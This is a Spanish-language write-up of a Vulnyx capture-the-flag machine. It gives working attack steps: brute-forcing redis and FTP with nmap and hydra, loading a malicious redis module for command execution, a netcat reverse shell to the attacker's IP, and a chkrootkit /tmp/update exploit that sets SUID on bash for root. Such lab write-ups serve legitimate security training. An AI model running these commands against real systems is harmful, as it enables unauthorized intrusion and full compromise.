Hola estimado lector, ¿Le apetece un CTF?
Pero antes, gracias al creador de la maquina d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Medio |
Lanzamiento | 06/05/2024 |
Creador | d4t4s3c |
Primer Usuario | suraxddq |
Primer Root | suraxddq |
Enumeración
Hacemos un escaneo con el respectivo nmap
Bien, tanto el servicio ftp
como redis
, requiere de credenciales y en el servicio http no obtuvimos nada.
Brute Force
nmap
cuenta con un NSE el cual aplica fuerza bruta contra el servicio redis, así que... Vamos a lanzarlo.
nmap --script redis-brute -p6379 192.168.1.94
Excelente tenemos la contraseña "bonjour", nos conectamos y...
No tenemos nada, solo mas que información del sistema, que por ahora no nos resulta de mucha utilidad.
Ahora, que pasaría si esta contraseña de "bonjour" esta siendo utiliza en otro servicio.
Vamos a realizar fuerza bruta contra el servicio ftp utilizando la contraseña "bonjour" y una lista de usuarios, con hydra.
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p bonjour ftp://192.168.1.94 -t 15 -s 2121
Ah, ahí lo tenemos, unas credenciales, entremos...
Pero, no tenemos ningún archivo, aunque...
Podemos subir archivos, pero por ahora no es de utilidad.
Load Redis Module
Después de visitar esta información:
Podemos realizar una cosa y es cargar un modulo personalizado de redis
que nos permita ejecutar comando. Por lo tanto debemos hacer los siguientes pasos.
Compilar modulo
redis
para ejecutar comandos.Cargar el modulo en la maquina victima y ser llamada desde
redis
conMODULE LOAD /path/to/
mymodule.so
Ejecutar comandos con el modulo:
system.exec "id"
Así que vamos a realizarlo, descargue el modulo y compile en su maquina de atacante.
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
El resultante sera el archivo module.so
, ahora falta pasarlo a la máquina victima, ¿como lo haremos? pues... Con el servicio ftp
mi estimado.
Una vez transferido tendremos que descubrir la ruta absoluta de esta archivo, para ser llamada desde redis
.
La respuesta es el directorio /srv/
🙂
El directorio
/srv
es una directorio en sistemas basados en Unix y Linux que se utiliza para almacenar datos relacionados con los servicios proporcionados por el sistema. Por ejemplo, los archivos FTP pueden ser almacenados en/srv/ftp
.
Ajaaa, dicho lo anterior puede que nuestro archivo module.so
se encuentre en /srv/ftp/
Así que probamos en cargar el modulo desde redis
Y en efecto, una vez cargado ya podremos ejecutar comandos 😃
¿Nos enviamos una shell, no?
system.exec "nc 192.168.1.79 8003 -e /bin/bash"
Escalada de privilegios
Enumeramos los usuarios del sistema...
Explorando la posible escalada me dispuse a inspeccionar los procesos con pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
chmod +x pspy32s
./pspy32s
Vemos que el usuario ejecuta constantemente el binario chkrootkit
Vamos a ver la versión del binario chkrootkit
Bueno, busquemos alguna vulnerabilidad...
Y efecto tenemos una vulnerabilidad que nos permite ejecutar comandos como root
. ¿Como lo explotamos?
Cree un ejecutable en
bash
llamadaupdate
en el directorio/tmp
Coloque los comandos que desea ejecutar.
En mi caso hice que root
aplique permisos SUID al binario bash
, para obtener una bash
como root
, eso es todo.
Ahora toca esperar un poco...
Y efecto, tenemos permisos SUID en el binario bash
.
Eso fue todo, hasta luego lector!!
Referencias